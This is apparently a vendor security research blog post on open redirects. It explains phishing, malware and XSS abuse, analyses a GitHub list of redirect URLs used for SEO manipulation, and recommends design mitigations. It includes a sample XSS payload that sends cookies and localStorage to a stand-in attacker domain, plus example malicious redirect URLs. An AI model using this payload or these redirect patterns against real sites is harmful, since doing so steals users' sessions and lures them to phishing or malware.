Open redirects: real-world abuse and recommendations

Open URL redirection is a class of web application security problems that makes it easier for attackers to direct users to malicious resources. This vulnerability class, also known as “open redirects,” arises when an application allows attackers to pass information to the app that results in users being sent to another location. That location can be an attacker-controlled website or server used to distribute malware, trick a user into trusting a link, execute malicious code in a trusted way, drive ad fraud, or even perform SEO manipulation. Knowing how an open redirect can be abused is helpful — but knowing how to design around it in the first place is even more important.

One of our goals on the Fastly Security Research Team is to understand the tactics attackers use to manipulate applications and how they can be stopped. Attackers will adopt tricks of other trades if it will help them achieve their goals, so understanding live examples of unwanted activity driven by any motivation can illuminate how an attacker could use the same methods and tools for malice. That’s why we were interested to find a GitHub repository full of redirects during one of our hunts.

In this post, we’ll take you through what was uncovered, explain how redirects are used, how they can be abused, and how you can prevent that abuse. 

The risk of URL redirection

For years, the lesson taught to end users has been to examine a link before clicking on it. Security training often shows examples of how to verify that the domain is the one expected before clicking.

A simple example is to ensure that you are clicking on:

goodexample.com

and not things like:

goodexample.com.badexample.com
goodexample-com-badexample.com

However, this same training has not prepared users for a site that accepts redirection, such as:

goodexample.com/redir.php?q=badexample.com

If anything, end users have been explicitly taught to trust this particular example, even if it ultimately redirects to badexample.com. This puts the onus on the developers and administrators of any site to ensure that their technology can’t be used to redirect the user to an unintended site. If they fail at this, the redirection can hurt their reputation and directly harm their users.

So what exactly is an open redirect?

Redirects are a relatively simple concept. A webapp can tell your browser to automatically browse to another site as a normal part of its operation. This happens all the time for simple reasons like redirecting from the HTTP version of a site to the encrypted HTTPS version, or when sites change their endpoint location from /oldapp to /newapp. This can be performed by the HTTP response, in HTML, or JavaScript:

HTTP response:

HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/newapp

HTML:

<meta http-equiv="refresh" 
content="5;URL='https://www.example.com/newapp'"/>

JavaScript:

window.location.href = 'https://www.example.com/newapp'

In these examples, a user that browsed to http://www.example.com/oldapp and received these responses would see their browser automatically open the new location at https://www.example.com/newapp. In contrast to these examples that stay on the same domain, an open redirect is going to be unintentional and redirect the user to something controlled by the attacker.

An open redirect is where the redirected URL can be specified from outside the application and an arbitrary location can be provided. For example, in the URL goodexample.com/redir.php?q=badexample.com, the application redir.php is accepting the query string q=badexample.com and redirecting to badexample.com.

Open redirects can be subdivided further into three behaviors:

• Completely transparent to the user. A server response through a 3xx redirect is always going to fit this category, and HTML/JavaScript can as well, depending on the implementation.

• Delayed, but still requiring no user input. In the HTML example above, the number 5 represents a 5-second delay before automatically redirecting. This allows for a page to warn the user what is about to happen, but still does it automatically.

• Requiring user input. A page that in no way redirects without the user clicking something fits in this category. This makes abusing trust significantly more difficult and is a much lower risk implementation when coupled with a warning about what the user is about to do.

Malicious abuse of redirection

The simplest examples of abusing URL redirection are phishing and malware delivery, but Cross Site Scripting (XSS) is also possible through redirects.

Phishing

The most popular mechanism for attackers to deliver any malicious link is email, since it provides an opportunity to deliver a lure. Lures are the text of the email that provide a narrative and call to action used by an attacker to convince their target to click a link.

Some popular lure types create a sense of urgency around financial fraud, while others entice the receiver with new information about a current event. Anything that feels natural or urgent to the end user may result in them opening a link.

Attackers can perform phishing by recreating the trusted site’s look and feel at a malicious location, then waiting for the user to attempt to login. For example, an attacker could host an imitation of a bank’s website on a domain they control. Then, the attacker could craft a URL using open redirects on the bank’s site to redirect the user to the malicious site:

https://goodbank.example.com/external-link.jspa?
url=https%3A%2F%2Fphishingexample.com/goodbankfrauddept

In this example, the attacker is abusing goodbank.example.com to redirect to phishingexample.com/goodbankfrauddept, which is controlled by the attacker.

Malware

Malware delivery via open redirects looks very similar to the phishing case; the only difference is the ultimate destination is a malicious file rather than a phishing page:

https://goodhealthsite.example.com/exit.asp?
url=https%3A%2F%2Fmalwareexample.com/currentevent.pdf

Here goodhealthsite.example.com has an open redirect that results in the user downloading the malicious file from malwareexample.com/currentevent.pdf.

XSS

Attackers can also abuse the browser’s inherent trust of code coming from the origin URL. JavaScript can be delivered as the redirect destination, causing the browser to execute the code when it is delivered back to the user. This type of attack is referred to as a “reflected XSS” since the browser sends the code to the application and then it is reflected back to the user’s browser. In this type of attack, the browser executes the code in the context of the website, allowing the attack to execute malicious code or even steal locally stored data from the browser.

https://example.com/proxy.php?
link=%3Cscript%3Eimage%20%3D%20new%20Image%28%29%3B%20image.src%3D%22https%3A%
2F%2Fcollectionexample.com%2F%3Fc%3D%22%2Bdocument.cookie%2B%22ls%3D%22%2BJSON.st
ringify%28localStorage%29%3B%3C%2Fscript%3E

Here is a URL decoded version of the URL as well:

https://example.com/proxy.php?link=<script>image = new Image(); 
image.src="https://collectionexample.com/?c="+document.cookie+"ls="+JSON.stringify(localStorage);
</script>

In this example, the user’s browser will take all available cookies and locally stored information for example.com and send it to the attacker-controlled domain collectionexample.com.

It’s important to note that modern browsers do not accept the JavaScript protocol handler in the Location header field. This means that if the HTTP response redirection method is used and JavaScript is delivered, the browser will not execute it. So for the example XSS above to be successful, the URL would have to be reflected elsewhere in the page. However, many redirect implementations show the user where they will be redirected before actually redirecting, which means the redirection will occur in HTML or JavaScript, allowing for this exact attack to occur in such pages.

Active use of redirection

We’re always looking to understand active use of these techniques, and some recent data analysis led us to an interesting, no longer active GitHub user (https://github.com/sonalimandloi/).

The files this user had stored in their repositories represent more than 18,000 rows of URLs that appear to be attempts at open redirect abuse. However, they break down into a relatively small number of groups.

• 87% of the URLs contain a query string that attempts to abuse open redirects to point requests toward 13 domains.

• 12% are links to unrelated sites where user accounts have been created with links back to the above domain list. The usernames created are consistent throughout the sites.

• <1% are URL shorteners or links to direct blog entries that both also link back to the above domains.

What are they doing?

To score the value of a website, the most common criteria are how many other things link to it or access it. The resulting scores inform search engine results, advertising value, or even how much a domain is worth when sold. While the ultimate goal of this particular user is unclear, it is clear they were trying to raise the visibility and value of the sites, and open redirects were a part of their method to do so.

Redirect URLs

This user’s behavior provides useful insight into a large number of redirects being abused, which can help us understand more about how to find them in the wild. After all, the glimpse into their potential SEO manipulation is intriguing but much less useful for our security purposes.

The source data we reviewed contains more than 3,000 unique redirects listed in the files. Many of these appear to require user click-through (showing that the manipulation may not have required a transparent redirect), and many more no longer function. However, at least nine months after being enumerated, 23 of the unique open redirect URLs listed still provide full URL redirection.

In order to uncover more of these URLs, their structures can inform how to search for them. The Top 10 redirects observed are:

The great news here is that a number of these redirects stand out as things a typical security team would look for. Endpoint terms like url, external-link, proxy, redir, page, and exit are all items worth assessing to ensure redirects are not possible from outside the intended scope. We highly recommend looking across your own footprint for these types of endpoints and testing them for open redirects. Tests can be performed by inserting URLs, encoded and decoded, inside any application that provides the functionality to redirect users to another location.

However, there are endpoints throughout the list that do not stand out as undesirable — but their query argument names provide further opportunity to enumerate potential problems. Arguments such as url, link, goto, gotoURL, and outLink present worthy opportunities to identify possible open redirects from an application running on your footprint.

Preventing abuse

Now that we understand how they can be abused and some common names they use, it’s time to discuss how to design applications to prevent them from being abused in the first place. The key question worth asking during the design phase of a project is: do we need to provide a redirect at all? There are valid reasons for an application to want to track outbound links, but they require additional design considerations to protect them from abuse. Your organization should consider whether the additional overhead is worth it or if it’s a better choice to avoid redirects entirely. 

If your organization decides to still implement redirects, the optimal mitigation is to avoid user input entirely. Only providing redirection as the app calls for it removes the significant attack surface of user input. If removing user input doesn’t meet the application requirements, a predefined list of URLs to properly match against can eliminate the possibility of arbitrary malicious destinations being inserted.

If redirection based on user input is required, it is a best practice to limit what schemes can be used in the redirection. Restricting input to http or https URLs, for instance, can help limit the JavaScript risks outlined earlier.

Many of the redirects observed in the wild do not perform a redirect unless the user clicks a link or pushes a button within the page. The user will often be presented with a visual warning explaining the risk they are taking by proceeding. Unfortunately, we all know that people often don’t read thoroughly when in a hurry — and some may find these warnings confusing — so while these warning messages can potentially alter user behavior, we still recommend approaching the software design with the above recommendations. For further reading on the topic, you can take a look at the OWASP guidance for open redirects.

Moving forward

We’ve notified GitHub of the repository full of open redirects and also notified all the owners of URLs vulnerable to open redirects that are still functional of their potential for abuse. However, we know this one user’s list of endpoints does not represent the entirety of what exists in the world. 

We’d encourage each of you to take the time to think about how you identify and protect against abuse of open redirects in your own environments, and use the information provided here to help your development and security teams assess the correct way to implement this type of feature in your environment.

If you would like to learn more about how Fastly can help you with your security needs, visit https://www.fastly.com/products/cloud-security.